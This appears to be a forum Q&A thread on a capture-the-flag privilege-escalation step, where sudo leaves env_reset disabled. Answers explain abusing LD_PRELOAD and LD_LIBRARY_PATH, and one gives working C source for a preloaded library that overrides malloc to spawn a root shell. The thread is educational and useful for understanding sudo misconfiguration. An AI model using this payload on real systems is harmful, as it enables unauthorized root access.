sudo -l privilege escalation

Question

I am doing a ctf and I am in the last step of it --privilege escalation. With the sudo -l command, the output was this:

Matching Defaults entries for nick on 192:
always_set_home, !env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_ATIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE",!insults, targetpw


User nick may run the following commands on 192:
    (ALL) ALL
    (root) NOPASSWD: /restart-apache

I know that env_reset shouldn't be disabled but I can't figure out the way to use it to get root access!

$ file restart-apache
restart-apache: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=1b1a4ab278b2d1be83e8b14adfc358cfd277d655, for GNU/Linux 3.2.0, with debug_info, not stripped

Answer 1

From the sudoers man page:

If, however, the env_reset option is disabled, any variables not explicitly denied by the env_check and env_delete options are inherited from the invoking process.

So, you can insert arbitrary environment variables to the launched process.

You don't show what sort of a program /restart-apache is, but if just so happens to be a shell script, this should be easy. Can you think of any environment variables that would affect what it does? What happens, exactly, when a shell script runs pretty much any command? Where does it find it?

Ok, turns out I didn't get lucky, and it was an actual compiled program instead, so it probably doesn't run that many commands via PATH. It still might, but it's hard to count on that.

That output from file looks like it might be truncated: the output I get from file /bin/ls is this (split to multiple lines):

/bin/ls: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=3c233e12c466a83aa9b2094b07dbfaa5bd10eccd,
stripped

(The full path to the interpreter is missing from the output in the question.)

If your program uses ld-linux-x86-64.so.2, as all "normal" dynamic executables do, we can start looking at what actually happens when you run such a program. E.g. from here: What is /lib64/ld-linux-x86-64.so.2 and why can it be used to execute file?.

Spoiler: the program itself isn't what first runs.

We also find the man page of the dynamic linker. That man page lists some interesting environment variables, which affect the way the program is set up when started, the ones with names like LD_*. You may need to do some coding to get it to do what you want.

Answer 2

env_reset is not set and env_delete does not contain LD_PRELOAD and env_check is unset. LD_PRELOAD=/tmp/sploit.so and root is yours.

The code in sploit.so would be:

#include <unistd.h>
void *malloc(size_t size)
{
    static const char* run[] = { "/bin/sh", NULL };
    static const char* env[] = { "PATH=/bin:/usr/bin:/sbin:/usr/sbin", "IFS= \t\n", NULL}
    execve(run[0], run, env);
    _exit(255);
}

Answer 3

Just to supplement ilkkachu's answer:

If you can execute something with a custom LD_LIBRARY_PATH you can force it to use different standard libraries. Very many things link to libc.so. You can check this with ldd. Eg ldd $(which ls):

linux-vdso.so.1 (0x00007fffcc103000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb4550ff000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb454f0d000)
libpcre2-8.so.0 => /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fb454e7d000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb454e77000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb45515b000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb454e54000)

Now, you can create a custom libc.so that mimics the standard one by loading the main system one dynamically and having every call forward to the system one... now you have that you can replace any standard C function in that spoof library to do anything as well as what it's supposed to.

So you can create a spoof libc.so which spawns a new root shell (sh, or bash) for the user when malloc() is called the first time.

All this means if you give someone just sudo access to run a single program, that program can be tricked into running anything by setting LD_LIBRARY_PATH and supplying a spoof library (libc.so).